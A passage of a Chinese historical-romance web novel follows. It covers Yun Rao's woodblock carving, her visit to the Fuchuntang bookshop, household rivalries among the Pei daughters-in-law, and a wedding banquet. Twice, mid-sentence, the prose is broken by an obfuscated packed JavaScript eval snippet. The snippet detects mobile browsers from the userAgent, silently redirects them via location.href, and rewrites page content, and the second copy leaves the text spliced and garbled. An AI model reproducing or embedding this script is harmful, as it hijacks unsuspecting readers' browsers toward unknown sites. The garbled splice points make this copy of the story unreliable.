察觉身边好友拍他肩膀,谢嘉言匆忙收回视线,跟着众人一道为方才连中贯耳的儿郎喝彩,耳尖却泛起可疑的微红。 那边人影晃动,又有人上前去投。 ——今日投壶并非比试,并没人记投的竿数多寡,亦不分男女婚否,不过是感兴趣的过来各展身手,投好了博个喝彩罢了。 裴雪琼挽着云娆的手不自觉紧了些,上前后跟认识的两位闺秀打过招呼,先站在那里看别人投。 连着两位都没中,便有人怂恿谢嘉言试试。 他倒做事大方,手执箭矢屏息片刻,待箭矢脱手而出,竟投出了个极难做到的倒中。 周遭顿时响起惊叹喝彩声,引得旁人都饶有兴趣的瞧过来。 裴雪琼也自夸赞,对这技艺颇为折服。 谢嘉言退到旁边让别人去投,等旁人都瞧向投壶之人时,目光又忍不住投向裴雪琼——方才她赞叹的声音夹杂在人堆里,虽说语调不高,他却是清晰分辨出来了的。 此刻原是不自觉的留意,谁知裴雪琼满心赞赏,这会儿还瞧着他,两人目光隔空相触,竟似碰到了微烫的炭火,令心跳都漏了半拍。 谢嘉言竭力镇定,颔首默然招呼。 裴雪琼也自垂眸笑了笑,眼底的羞怯与欢喜一闪而过。 旁边又有人投中,引来几声夸赞。 谁都没留意人堆外这转瞬即逝的对视,唯有云娆察觉这份暗藏的心事,虽不敢表露,觑向水面云影时却无端觉得风清气爽,光景宜人。 姑嫂俩站了片刻,裴雪琼对这事儿不太擅长,又怕站久了会被人察觉心事,便拉着云娆往别处去赏花。 等周遭没了人,云娆才莞尔开口。 “方才那手投壶可真漂亮,我记得上回在白云岭看马球,那位公子也十分出挑,想来是练出了很不错的骑射功夫。” “是呀,他家没人习武,听说是他自己肯下苦功才练出那身手的。”裴雪琼倒也没遮掩,不自觉回头看了眼方才投壶的方向,忽然又叹了口气,“只是他过得很不容易,生他的姨娘早就过世了,在伯府里也没人看重。” 她很少议论旁人家,更不提及非亲非故的少年郎。 今日这感叹怕是已憋了许久。 云娆想起崔氏一心为女儿挑个高门贵户的做派,大约明白了她今日来赴宴时为何闷闷不乐。 两人沿水而行,漫赏天光。 隔水的一座阁楼里,太子魏元载负手而立,正瞧着对面游玩皇家宫苑的男男女女。 他年已四十,自幼受名家教导博通诗书,养出了一身儒雅气度。只是文有余而武不足,若不是那身东宫的威仪冠服衬托,单论容貌气度,倒像是个潜心治学的儒人,而非一国储君。 此刻窗扇半掩,他瞧着水边漫步的云娆,有些诧异地道:“那就是裴砚新娶的妻子?” “奴婢都打听清楚了,是她没错儿。”宫人侍立在侧,恭敬答道。 太子不由往那边多瞧了两眼。 裴砚重伤冲喜的事他当然有所耳闻,当时朝堂内外交困,他得知宁王最倚重的猛将吊着性命,心里其实喜忧参半。直到后来北夏挥兵南下,边塞诱狼入彀后一举擒获屠长恭的消息传来,他才明白了那俩人葫芦里到底卖什么药。 边塞的心腹大患被斩除,他身为储君自然高兴,但宁王借此声望日隆,他派去平叛的将士却节节败退,这事终究令人忧心。 太子既对裴砚留意,自然不放过身边人。 隔着溪水将云娆那张脸记住,他又笑了笑,“长得倒是很好。不提家世,倒姿貌配得上裴砚。她旁边那女子是谁?” “那是靖远侯府的嫡幼女,叫裴雪琼。” “也是个小美人。”太子喃喃,又往那边看了片刻才折身离开。 …… 从宫里回来后,云娆隐约觉得薛氏的态度有些古怪。 先前薛氏只是自恃身份不搭理人,甚至去别苑踏青时都懒得问她的意思,如今倒是爱接话茬儿了,只不过话里藏着刺,听起来阴阳怪气的。 大约还是为宫宴座次的缘故。 云娆又不傻,知道那日薛氏坐得比她靠后了些,心里不舒服,倒也懒得计较。 如今犒赏的宫宴既毕,裴砚每日去军营里习练兵马,她除却晨昏定省和偶尔跟明氏、裴雪琼赏玩说话之外,旁的时候都扑在雕版上。 富春堂的雕版早就送过来了,云娆借着脚伤休养的时候就已揣摩纯熟,后来便仿了一幅画印在板子上试着雕刻,已雕完了小半儿。 若这雕版过关,贺掌柜那几幅画她便可放心大胆地接了。 这两日她都待在小书房,安心捉刀雕刻。 青霭熟知云娆雕刻版画时的习惯,静静坐在旁边斟茶扫屑,再往旁边摆个小沙漏,提醒云娆每半个时辰起来走走。 如此连着刻了四五天,倒是成果喜人。 这日后晌,裴砚习练兵马的事结束后没见宁王有旁的安排,便早早的回府来歇息。 才踏进枕峦春馆,便觉出了别样的安静。 迥异于往常仆妇洒扫庭院、丫鬟伺候起居的日常气息,今儿的枕峦春馆特别安静,别说绿溪她们,就连仆妇都像失踪了似的不见人影。 直到他踏进院里张望,角落里才有位仆妇轻手轻脚地走了出来。 裴砚敏锐察觉,便没出声。 那仆妇小碎步跑过来,行着礼轻声道:“将军恕罪。少夫人吩咐了她忙的时候不必伺候,奴婢们怕打扰她才回屋里候着的。将军可有吩咐?” 裴砚倒也不是真的想吩咐人做事。 既明白了这异样安静的缘故,便挥手示意她退下,进了二门往云娆的小书房一瞧,果然见她垂首坐在窗畔,被槭树挡住了半个身影。 夏日天长,这会儿日色未倾。 枕峦春馆原就坐落在偏远僻静之处,如今没了人声儿,就只有风过庭院树影婆娑,连鸟雀和野猫都没了踪影。 云娆今日穿的是家常的半臂罗衣,满头青丝用珠钗松松挽起来,大约是太过专注投入,并没听见墙外的对话。此刻仍埋首雕刻,就着案上徐徐袅袅的青烟,倒无端让人觉出种岁月静好的滋味。 裴砚不由放轻脚步走向窗畔。 走到跟前,才发现小书房里不止坐着云娆,其实还有青霭,只是这丫头午后犯困,这会儿早就趴在桌上睡着了。 云娆倒精神得很,纤秀的手指捏紧了细麻绳缠起来的小刻刀,拿指腹轻轻推着刀背,在那张木板上一点点的精心雕琢。 尚未雕成的板子未曾着墨,入目只觉洁净细密,隐隐还能闻见木材的香味。 裴砚怕惊了她,连累这精细雕刻的版画,便没做声,只站在两步之外看她徐徐雕刻的刀法。 好半晌,几朵细小的梅花终于雕成。 云娆似是松了口气,将小刻刀搁在旁边的木托盘上,抬头想伸个懒腰。 这一抬头,她倒真被惊到了。 青霭午后犯困睡着的事她早就习以为常,但裴砚是何时回来的?怎么还跑到窗边站着呢? 脑袋里仍是梅花,她懵了一瞬才站起身道:“将军回来了?” 说着话,赶紧戳一戳青霭。 青霭睡眼迷蒙地抬起头,见裴砚就站在窗外,赶紧站起来行礼。 裴砚被这主仆俩逗得有点想笑,便往前两步站在窗外,伸手拿了那个快要完工的雕版来瞧,“你认真雕刻的时候倒像模像样的。这双手也稳得很,力道拿捏得当,我都自愧不如。” 云娆被他夸赞,不免也笑了。 “雕虫小技,怎么能跟将军比呢。” “三百六十行,哪一门做好了都是手艺。”裴砚前些天在西竹馆瞧见满架的雕版时原就颇为赞叹,今日见她这样专注,那长年累月推刀背的指腹也磨出了薄茧,不由有些好奇,“你这雕版刻出来是给谁呢?” “有些给相熟的书坊,也有些经变画送给寺庙,看雕什么了。” 云娆喝着茶润喉,瞧裴砚的态度颇为开明,正好借机提起件事情—— “这幅雕版是给富春堂雕的,那是一家书坊,掌柜的想雕一套山水画印出来,好让寻常人家也能买得起。”她不愿把这事儿搞得鬼鬼祟祟,加之十余日相处后对裴砚添了些信任,便将缘故说明白。 裴砚听罢,倒是颇为赞成。 他虽出自侯府,实则打小被丢去外面习武,在军中摸爬滚打时怎样的人都见过,也从不觉得女儿家得困在闺中的一方天地。对于那些敢提刀上阵、在边塞寡居撑起门户的妇人,他尚且存了一点敬佩,得知云娆有这般让人赏识的才华,哪会捂着? 自是让云娆放手去做,还开玩笑道:“回头书印刻出来,也给我书房放两套。” 云娆听得笑了,又道:“再过几天这板子就能雕好,到时候我想亲自去趟富春堂,既能让贺掌柜瞧瞧,也借机观摩他家书坊。” “你既愿意,自管去就是了。”裴砚答应得十分爽快。 云娆原本还担心他会嫌弃商贾之流,闻言顿时喜上眉梢,“多谢将军!” 语调 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14745850|155411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿甜软微扬,那双清澈的眼睛盛满了笑意,当真如清泉映日,让整个人都粲然生辉。 裴砚瞧着她含笑的眉眼朱唇,也自勾起唇角。 …… 端午过后没过几天,云娆就跟范氏提了出府的事。 范氏倒没为难,只是道:“你刚嫁进来没多久,前些天刚回了门又入宫赴宴,如今又要出府去办事,倒是忙得很。府里人多口杂,你办完事早些回来,别在外头多耽搁。” “多谢母亲,儿媳谨记。”云娆自无不应。 事儿既得了裴砚首肯,又在范氏跟前禀报明白,云娆打算明日就去富春堂。早些动身出发,还来得及回家瞧瞧母亲和长嫂苏春柔。 不过,出行还得安排马车。 侯府人口亲戚众多,常有宴席应酬往来等琐事,两房的各屋里都配了辆马车以便出入。 裴砚却是个例外。 他这些年回侯府的次数屈指可数,往来又都是骑他自己用惯的马匹,加之枕峦春馆始终空着,便没单独配马车。后来虽成了亲,因薛氏瞧不上云娆冲喜而来的身份,加之范氏有意压风头,事情便一直拖着没办。 先前云娆回门和入宫,都是薛氏依太夫人的吩咐调了官中的马车来使。 这回出门,难免又得请她安排。 想起薛氏近来含酸的做派,云娆其实有点犹豫。 去谈雕版罢了,有没有侯府的徽记都不要紧,她倒是想让常妈妈从外头寻个马车来接,还能省心些。但她既嫁了进来,终归还得依侯府的规矩,不管薛氏作何打算,她总不能先落人口实。 既如此,最好私下去薛氏住的四宜馆说,不管薛氏态度如何,总不至于闹得难看。 云娆拿定主意,照常随范氏去如意堂。 谁知今儿太阳打西边出来,到了太夫人那边,范氏竟主动帮她提起了此事—— “方才老二媳妇说有事要出府一趟,得安排一辆马车。”她笑吟吟瞧着薛氏,一副长辈的和善模样,“正好你也在,便让人安排了吧,也免得她单独再跑一趟去烦你。” 薛氏闻言,便笑道:“这算什么,晴月——” 她侧头觑向贴身丫鬟,“你去告诉外头,调一辆好的给二少夫人用。” 晴月忙道:“少夫人您忘了,前儿有辆马车的轱辘坏了,管事的就让人挨个检看修理,怕是都还没修好呢。” 薛氏便瞥了眼云娆,笑向太夫人道:“瞧我这记性,倒是忙糊涂了。既还没修好,怕是过两日才能动。剩下那几辆是下人们用的,未免失于简薄,实在不好给二弟妹。” 意料之中的答案,云娆笑了笑。 旁边范氏闲闲咬着新送来的葡萄,出乎意料地道:“前儿进宫时还好好的,这么凑巧,今儿就都用不了。既如此,你怕是得改日了。” 她这话是对云娆说的,但谁还听不出来是在暗讽薛氏? 这些天薛氏跟云娆说话时阴阳怪气的,是个人都能瞧得出来,这会儿范氏如此说,倒像要戳穿薛氏的小心思。 果然那边薛氏笑容微顿。 旁边崔氏便道:“弟妹你不知道,她这两日忙着呢。玉琳的婚期近在眼前,到时候跟淮王府和亲朋好友们往来,正是用车的时候。她如今未雨绸缪早些检看一番,也是怕到时候出岔子,那反而不好。” 太夫人听得这解释,满意颔首。 范氏便笑道:“倒是难为她了。” 这话题就此揭过。 云娆原就不信婆母会好心为她办事,听着后头的言语,哪会不明白? 不过是拿她当由头在众人跟前下薛氏的脸罢了。 如今她的马车没了着落,薛氏虽有婆母维护却也难免丢点脸,范氏此举倒是一石二鸟。 云娆心说无趣,打算自己解决了事。 结果请完安离开如意堂还没出去多远呢,便被明氏叫住,说是新得了本有趣的书给她赏看。 她回身迎过去几步,明氏挽着她去白鹿馆翻书,趁着没人时便笑道:“大嫂嫂那儿忙着婚事安排不过来,我那小马车却是闲着的。你几时出门,我让人送你,多大点事儿呢。” 说罢,又揶揄道:“回头若让二弟知道,凭他的性子,怕是要给你添个两三辆车来用。” 云娆被她说得脸上一红。 上次因为绿溪的事,裴砚当场忤逆长辈维护于她,虽说让老两口和范氏等人十分不喜,明氏私下里却颇有赞许之意,直夸裴砚会护着人。 如今竟又翻出来打趣她。 云娆与她日渐熟稔,也不甘退让,笑道:“他会怎么做我不知道。不过你这身裙子很别致,怕又是有人特地给画的吧?” 明氏闻言,不自觉抚着衣裙笑了笑。 老四裴见青虽说未及殿试,书画上却极有才华,加之性情从容随和,跟明氏的感情十分融洽。 俩人膝下尚无所出,先前崔氏给儿子张罗纳妾时也是裴见青坚决驳回,夫妻俩平素酬唱诗文兴趣相投,明氏的许多衣裙都是裴见青亲自画就,再请人绣出来的。 今日这件也不例外。 明氏虽被打趣得有点不好意思,却也喜欢这衣裳,低声道:“好看的吧?” “好看!满京城独一份。”云娆夸得真心实意。 这般在白鹿馆盘桓了半天,回到枕峦春馆后收拾好东西,次日清早出门,果然明氏已安排好了车马。 云娆就着摇动的树影登车出府,想到要去久违的书坊还能顺道看看家人,心底竟自雀跃。 25. 默契 富春堂虽不是京城头等的书坊,家底却颇为丰厚,加之刻印的书质地精良颇受文人喜欢,每年赚的银钱不少,也有能耐在闹市选了处门面。 这书肆面朝热闹街市,背后则带了个十分宽敞的大院子,在后巷里开了扇门,供掌柜和印书的伙计们出入。 云娆不爱张扬,去的是后巷那扇门。 贺掌柜早就得了口信儿,听探风的伙计禀报说外头有马车来了,亲自迎了出去。 马车停稳,他瞧着上头的徽记和颇为眼熟的马夫,神情暗露诧异。 那边仆妇摆好踩凳,云娆由青霭和常妈妈扶着下车,含笑同他招呼。 贺掌柜一面施礼,一面暗瞥车帘。 见里头没有旁的人出来,他迟疑了下,引着云娆和众位随从进院时忍不住道:“我还以为四少夫人也来了呢。” “你认得她?” “先前去明家请教雕版时碰见过,当真是谈吐不俗,很有大家风范。”贺掌柜提起明氏,神情里都是夸赞。 云娆听闻,倒有点意外。 她听说过明家的做派,虽是诗礼传家的名门望族,却不像侯府这样规矩刻板。 明氏在闺中时跟着兄弟们一道读书,平素虽不张扬才学,实则见识谈吐非寻常闺秀可比。明老太爷也没拘着她,从前偶尔带着未出阁的明氏去拜访好友,不管碰见文人大儒还是寻常门户,都许明氏说些女儿家的见解,很是开明。 贺掌柜跟她说过话,倒也不算奇事。 云娆原就喜欢明氏的为人,得知这段旧缘后对富春堂更增几分亲切。于是就着院里的凉亭坐下,将先前刻好的版画拿出来请他掌眼。 贺掌柜细细瞧了好几遍,见纹理线条乃至力道深浅皆无差错,不由笑道:“少夫人这手艺当真不逊于老师傅,雕得又流畅自然,若是印出来怕还能更添几分韵味。” 说着话,当即去挑纸墨。 他这座书坊其实占地不小,此处拿来会客谈事情,左右跨院则用来印书—— 左跨院堆了不同质地的木料用来制板,也备有齐全的笔墨雕刀等物,用以写样上板雕刻。右边则整齐堆着各色墨锭和纸张,连同着偶尔临时制墨的胶料等物都一应俱全,待板子雕好了拿过去涂墨印好,收拾齐整便可装订成书。 此刻他挑了与这雕版相宜的墨和纸笺,亲自上手将画儿印出来,果真是意料之外的出色。 贺掌柜大喜过望,称赞不止。 云娆耗费许多心血用心雕成此画,见贺掌柜颇为满意,欣喜之余也少了许多顾虑,便放心地将剩下几张画应承下来,而后辞别出门。 马车驶离小巷,往江家行去。 云娆拿着刚才印出来的那张雕版画,嗅着上头尚未散去的墨味儿,脸上的笑怎么都压不下来。 常妈妈在旁笑道:“真真儿还是孩子心性,刻成了这幅雕版,就跟得了活宝贝似的。” “那可不,金贵着呢。”青霭打小在云娆书案旁伺候,几乎每块雕版都是她陪着云娆刻出来的。此刻她小心翼翼抱着沾了墨的雕版,笑道:“这幅画少夫人格外用心,刻出来也最漂亮,都快赶上家里那幅美人图了。回头也该摆起来,瞧着就让人舒心。” 云娆不由笑了,“可别张扬,好生在小书房收着就是。” 青霭应着,兴头却还没下去,直说待会要给徐氏和苏春柔都瞧瞧,让大家都看看自家姑娘的进益。 一车人说说笑笑地走远,巷口老树遮蔽的拐角处,亦有人落下了锦绣车帘。 薛氏坐在车内,笑得一脸玩味。 她今日出来,是为亲自挑选过阵子婚宴所用的一些小物件,想起这里有家糕点是祖母爱吃的,便顺路来买一份带着。 谁知那么巧就瞧见了明氏的马车。 薛氏未料出自书香门第的弟媳会来这等商贾云集的僻静巷子,不免让人留意,她则慢慢去挑东西——裴锦瑶嫁的是王府,许多事其实有礼部和宫人们照应,东西多半也都是送进府里供她选,今日不过是选些不甚打紧的,趁便散心罢了。 等她一圈儿慢慢挑完,在雅间里用完饭歇息足了,明氏那马车才缓缓从巷口驶出。 薛氏坐在车里听着心腹仆妇的禀报,倒有点意外。 “那里头坐的不是她?” “奴婢原来也以为是四少夫人,怕让她察觉了尴尬,特地让人爬到对面屋顶去瞧的。真真儿是枕峦春馆那位,像是跟掌柜的谈生意呢。” 薛氏闻言哂笑,“老四媳妇倒是好心。” 她这儿寻着借口不予方便,那位倒是转头就借了马车给云娆,还真是被家里宠得我行我素惯了,丝毫不顾长嫂和婆母的心思。 不过明家自有根基,她也不好拿捏。 薛氏没追究明氏那点小动作,只命人驱车回府,口中道:“老二不是得了成堆的赏赐么,怎么她还缺银钱,竟跟商贾争利起来了。” “少夫人不知道,她外祖家也是商户,听说很会做生意,一身的铜臭气。”仆妇忙回禀道。 薛氏便笑了,“倒是家传绝学。” 仆妇知她是讽刺,也跟着笑了起来,又道:“这样小家子气,若让二爷知道她如此给侯府丢脸,看她还敢不敢受那诰命。” “诰命?”薛氏把玩着手里一块璞玉,冷嗤了一声。 那日薛贤妃提到这事的时候,她确实有过隐忧,担心云娆得了诰命会盖过她的风头。直到安生过了端午,这些天风平浪静地没传来半点消息,薛氏心里才渐渐踏实下来。 朝廷里有品级的官员何其多,裴砚不过是新官上任,诰命哪是那么容易就封的? 有人想请封,宫里可未必会允准。 一介背靠商户的小官之女,才借着冲喜的由头嫁进侯府,若真个得了诰命,岂不是一步登天? 裴砚庶子出身,怕是还没那等体面。 …… 薛氏那些个小心思,云娆自是丝毫不知。 她这会儿正在娘家的西跨院同母亲徐氏喝茶说话。 先前裴砚出征,凡事都有婆母压着,哪怕侯府跟娘家离得不算远,她也只能让常妈妈青霭她们传个话,自身不便随意出府。如今有了裴砚撑腰,且这男人行事颇为开明,日子就好过得多了。 凉亭上紫藤盛放,一串串如珠贝垂落,幼弟去学堂读书习练弓马,娘儿三个围坐叙话,倒是久违的清闲舒心。 苏春柔的产期一天天邻近,徐氏早早儿备好了接生用的东西,如今直等瓜熟蒂落。 云娆将手轻轻贴过去,隔着薄薄的夏衫,偶尔还能感觉到小家伙的胎动,新奇之余难免更添期待。 盘桓半晌,赶着傍晚才动身侯府。 而后往长辈处请了安,回到枕峦春馆时那股子新奇喜悦都还没散去。 裴砚今日回得早,换了身家常的玄色外裳在书房里翻书,瞧见她脚步轻快地走进来,绣着荼靡的妃色裙角都似卷得比平常好看些,不由搁下书卷望出去。 那边云娆隔着支摘窗与他视线相接,不由道:“将军今儿回来的好早。” 声音清甜,眉眼盛满笑意,显然心绪很好。 裴砚已经在书案后面坐了半天,这会儿正好起身抻筋骨,端毅的身姿踱步出了书房,闲谈道:“什么喜事儿这么高兴?” “我娘家嫂嫂快要生了,我瞧她气色脉象都好,就盼着顺遂些。”云娆方才还琢磨小侄子出生时送什么东西才好,听见他问,自是脱口而出。 裴砚闻言,倒是稍觉意外。 因前儿两人才提过去富春堂的事情,他刚才还以为云娆是雕版得了盛赞才如此高兴,却未料是为着旁人怀孕生子的事。 夫妻俩迎头撞上,他未掩神色,云娆哪能瞧不出来? 心念稍转,她很快就反应过来—— 怀孕生子这事儿牵系的是夫妻闺中之乐,两人新婚许久却仍默契地分床各睡各的,连手指尖儿都没碰过,裴砚不会以为她在暗示什么吧? 气氛似乎有点微妙,云娆捋着头发赶紧岔开话题,“将军回来前用过晚饭了吗?” 裴砚清清嗓子,“还没。” “那我去让厨房多添几个菜,昨儿听她们念叨要做凉粉和淘冷面,再给将军配个炙羊肉和新鲜蔬菜吧。”云娆说着,赶紧转身出了屋。 小厨房离得不远,出去拐个弯就到了。 绿溪亦步亦趋地跟在她后面,等避过旁人才小声道:“少夫人刚往惠荫堂和如意堂请安,来回走那么长的路,早就该歇歇了。这种事让我和青霭跑腿就行,何必亲自过来。” 云娆没好意思说实话,只是道:“照顾饮食起居原就是我分内之事。他既愿意帮衬我,我自然该多用些心思,投桃报李才是。” 这样说着,到了厨房果真亲自安排起来。 娇养官家千金十指不沾阳春水,除了几样拿来装点门面扮贤惠的拿手菜,平素不碰厨房的锅灶,但安排菜色是筹备宴席的必备之礼。 云娆在闺中时便被悉心教导,如今琢磨着裴砚的口味指挥厨娘,倒也是手到擒来。 一桌饭菜备好,既有她许给裴砚的那几样,还添了消暑解腻的荷叶汤和裴砚爱吃的松菌炒鹿筋,配上茭白等炒香的蔬菜,夫妻俩在将合的暮色里对座用饭,倒是双双满意。 饭后消了食,到得晚间仍是各睡一榻。 云娆歇得更早些,加之要打理头发,便先一步去了盥洗房沐浴。过后擦了养润肌肤的香膏,换上熏了茉莉香气的寝衣,将裴砚盥洗要用的东西准备齐全,便自去窗边歇着,由绿溪帮忙打理青丝。 待裴砚盥洗毕走出来,屋里已是灯火半昏。 云娆只留了床榻附近的那几盏取亮,这会儿正在榻上翻书晾头发,单薄柔软的寝衣颇松垮地贴在身上,从头到脚都是慵懒。 裴砚路过时不免多瞧了一眼。 而那位专注看书,不曾察觉他的脚步声,唯有纤秀的指尖无意识地卷着肩畔发丝儿,袖口滑落时露出一段白皙的手臂,烛光下格外悦目。 灯下美人,确乎别有韵味。 裴砚心中暗赞了声,绕过垂落的纱帐到了对面,盘腿坐在云娆早就铺好的床褥上,心里又觉得哪里怪怪的。 稍一琢磨,便明白了其中缘故—— 他跟云娆在分房睡这件事上未免太默契了些! 先前跟北夏打仗时殊死搏斗,宁王难得闲下来时老爱拿他打趣。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14770292|155411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 说他年已廿六才铁树开花成了亲,该多花些心思在内宅,早些生个孩子出来。免得再过几年宁王的女儿嫁人生子,还得管裴砚刚出生的孩子叫声叔叔。 还说女儿家新婚出嫁,在夫家都得夫君体贴照应,最好早些有个孩子傍身才能站稳脚跟。 裴砚听得多了,难免记在心里。 回来后夫妻俩分房睡,他自然是怕仓促洞房耽搁了云娆,想等往后朝堂京城的局势明朗些再挑破此事跟云娆细谈。 那么云娆呢? 她这样安之若素的分房睡,仿佛巴不得夫妻俩相安无事似的,丝毫没像宁王说的那样来撩拨亲近以求夫妻之实,难道也是存了旁的打算,没想在这枕峦春馆长久待着? 那她是没看上侯府呢,还是没看上他? 裴砚不由低头看了看自家身板。 …… 自打察觉云娆很乐意分房睡之后,裴砚不自觉便留了意,偶尔闲了得空时琢磨着小姑娘的心思,觉得这事儿还挺有趣。 不过裴砚也没有深究。 毕竟他也是存着做个临时夫妻的心思,只消别亏待委屈了小姑娘便可,倒不必去对人家的私事刨根究底。 他这儿心思暗生,云娆倒毫无察觉。 因她这两日渐渐忙碌了起来。 裴家四位姑娘,嫡长女虽是嫁到京城外,却也是高门里的当家少夫人。二姑娘裴玉琳是庶出,既被淮王看上了纳去做侧室,她自身又很满意这个去处,对于裴家而言,跟王府结亲自然也是乐见其成的好事。 是以这场婚事,裴家筹备得比裴砚娶亲时认真多了。 崔氏身为嫡母亲自操持,薛氏这个当家少夫人自然也事必躬亲,除了礼部和宫里帮着打点外,还有许多细碎的小事情,便都落到了几位妯娌的头上。 从长房的明氏到二房的孙氏、秦氏和云娆,每日晨昏定省伺候婆母之余,往太夫人的如意堂去问安时总能被分派一些杂事。 好在几人习惯了,都愿意听薛氏调度。 这样忙碌着,转眼便到五月底大婚。 能将庶女嫁进王府是喜事,裴家将亲朋好友邀请了个遍,自然也不会落下几房儿媳妇身后的娘家。 江家亦在受邀之列。 嫁女的婚宴连着摆了两天,头一日重在招待高门亲贵,江家自然被排在了第二日。 因苏春柔的产期就在这大半个月里,徐氏怕她要生时少人照应,早早地将苏家夫人请过来一道陪伴,也算是请亲戚小住叙叙感情。这日叮嘱了仆妇们好生伺候着苏春柔母女,而后换上妥帖的衣裳行头,到裴家来恭喜。 独自登门难免简薄,加之江老夫人有意让孙女多见见世面,便让江云影跟着徐氏一道登门来道贺。 云娆亲自去迎,将母亲接到厅中。 那边范氏虽不太瞧得上这位出身商户的亲家,但当初既是她主动登门求娶,今日又有宾客们众目睽睽的盯着,明面上自然要周全些。 两处见面,范氏倒是难得夸赞云娆。 而后各自安席入座,云娆这边安顿好了母亲和堂妹,便仍去忙着招呼新来的贺客。 等开了席面,宾客们自管高高兴兴的品尝侯府准备的美酒佳肴,几位儿媳各有一摊子的事要操心,几乎让云娆忙了个脚不沾地。 江云影瞧在眼里,心绪就有些复杂。 当日裴砚携云娆回门时,她瞧着姐夫的端然峻□□姿,念及他在外头的赫赫战功和官位加封,早已暗羡了不知多少回。如今真个跟着伯母进了侯府,瞧着这座府邸里里外外的气派,哪有不羡慕的? 更别说侯府宾客如云,不提昨日往来的勋贵人家,单是今日所请的许多人,许多都是她平素想高攀都攀不到的门户。 而云娆如今就住在这座威仪煊赫的府里,有成群的仆从伺候,宾客们碰见了还都会客气地称一声“二少夫人”。 这般富贵情形,是江云影做梦都想尝试的。 她甚至无心去品尝满桌名贵佳肴,只将视线在周遭宾客身上默默打转,在那些质地贵重的衣裳首饰里眼花缭乱。 到席面过半,她想着平素难得进侯府一趟,便以出恭为由暂且离席,让侍宴的丫鬟引路出了宴厅。 恭房自是远离席面,设在僻静之处。 一路过去,非但有极漂亮的亭台楼阁和山石水榭,也有几处幽径通往花木相隔的庭院,据说那是给宾客小憩用的。 江云影暗自观玩,虽知道自己许的夫家根底不算深厚,却仍期许有一日也能住进这样豪阔的府邸。 正神思飞荡,忽听身后有人叫她—— “这位可是从二嫂嫂娘家来的客人,江家二姑娘?” 江云影闻声侧头看去,就见那边的水榭里走出来一位与她年级相若的姑娘,身上衣裙华美,半臂外罩着的衫子薄如蝉翼,一瞧便知是贵重的料子。更勿论发间金钗辉彩耀目,腕上玉镯温润通透,那含笑的眉梢微挑,分明是贵家千金。 听说裴玉琳出嫁后,侯府便剩长房嫡出的四姑娘和二房庶出的三姑娘待字闺中,都是十五六岁的年纪。 只不知眼前这是哪位。 江云影不敢怠慢,忙含笑见礼。 26. 私会 施施然走过来的是裴锦瑶。 她跟裴玉琳同为庶出,在府里的处境实则迥然不同。 当初裴固夫妻俩挑选儿媳妇时,因有意将爵位传给长房,便给裴元曙娶了门第不低的崔氏为妇。崔氏出自高门,待妾室通房之流还算宽和,裴玉琳和裴见熠姐弟俩都养在生母吴姨娘膝下,崔氏甚少插手。 平素姐弟俩犯错时崔氏甚至还能帮着遮掩说情,虽稍有纵容之嫌,却也让身份相似的裴锦瑶姐弟很是羡慕。 后来裴玉琳年纪渐长,崔氏操持完嫡长女的婚事之后暂且闲着,加之裴雪琼年岁尚幼,倒也愿意帮庶女寻摸婆家。 得知淮王有意,便欣然答允。 听说这回裴玉琳出阁,崔氏作为嫡母还添了不少的嫁妆,引得人人夸赞宽厚贤惠。 相较之下,范氏可就不一样了。 也不知是她本性如此,还是当年对潘姨娘芥蒂太深的缘故,范氏对裴元晦后来纳的柳姨娘也十分冷淡,时常蓄意打压。 裴锦瑶幼时还暗中为生母鸣不平,懂事后经过柳姨娘苦口婆心的教导,明白了侧室和庶子女的处境,便渐渐收敛了性子,转而讨好范氏。 但这点讨好收效甚微。 裴锦瑶早就到了说亲的年纪,范氏嘴上答应裴元曙帮忙寻摸婆家,陆续挑的两三个人家却实在身份不高。裴锦瑶自负侯府出身,且打小锦衣玉食的养着,交游往来的也都是高门贵府,哪肯嫁进默默无名的人家? 便只让柳姨娘委婉推拒了。 这样一来二去的未免耽搁事儿,以至裴锦瑶如今年已十六,婚事上却仍没有半点头绪。 眼瞧着二姐风光出嫁,她哪有不羡慕的? 昨儿贵眷云集,她还能认真打扮后打起十分的精神去露面应酬,暗里期盼能为自家婚事寻个转机。今日来的身份欠缺了些,她只跟要紧的几位见了面儿,过后便在水榭歇着了。 直到看见江云影路过此处。 …… 当初云娆以冲喜的名头嫁进侯府时,裴锦瑶心里就一直瞧不上,觉得这身世比她平素交往的好友差了太多。 今日云娆的娘家人来贺喜,她难免暗中留意,也就记住了江云影的这张脸。 此刻两厢见礼,裴锦瑶脸上挂着得体的笑,语气甚至有点热情,“常听说二嫂家中有位妹妹,很是出挑,今日一见果真传言不虚。我是这儿的四姑娘,不知二嫂可曾提起过?” 江云影与她初会,见她笑得亲和,便笑道:“听堂姐提起过,满口都是夸赞呢。” 裴锦瑶才不信她这鬼话,却仍亲热地拉住她的手。 “二姑娘初次来侯府,不如我带着逛逛?” 江云影求之不得,自是欣然答允。 两人便让随行的丫鬟跟远些,过了曲桥往后头景致殊异处走。 裴锦瑶一面同她说着府中的景色风物,一面同她拉扯家常,渐渐熟稔后便道:“二嫂嫁过来这几个月,我瞧她说话做事很是温柔谦和,真是个好相处的性子,二哥能娶到她当真是佳偶天成。” 江云影还以为云娆冲喜而来,在侯府必定会受委屈,听裴锦瑶鬼扯着婆母疼爱、妯娌和睦等话,又听到这样夸赞,倒是十分意外。 旋即,心里便升起一股难言的酸楚。 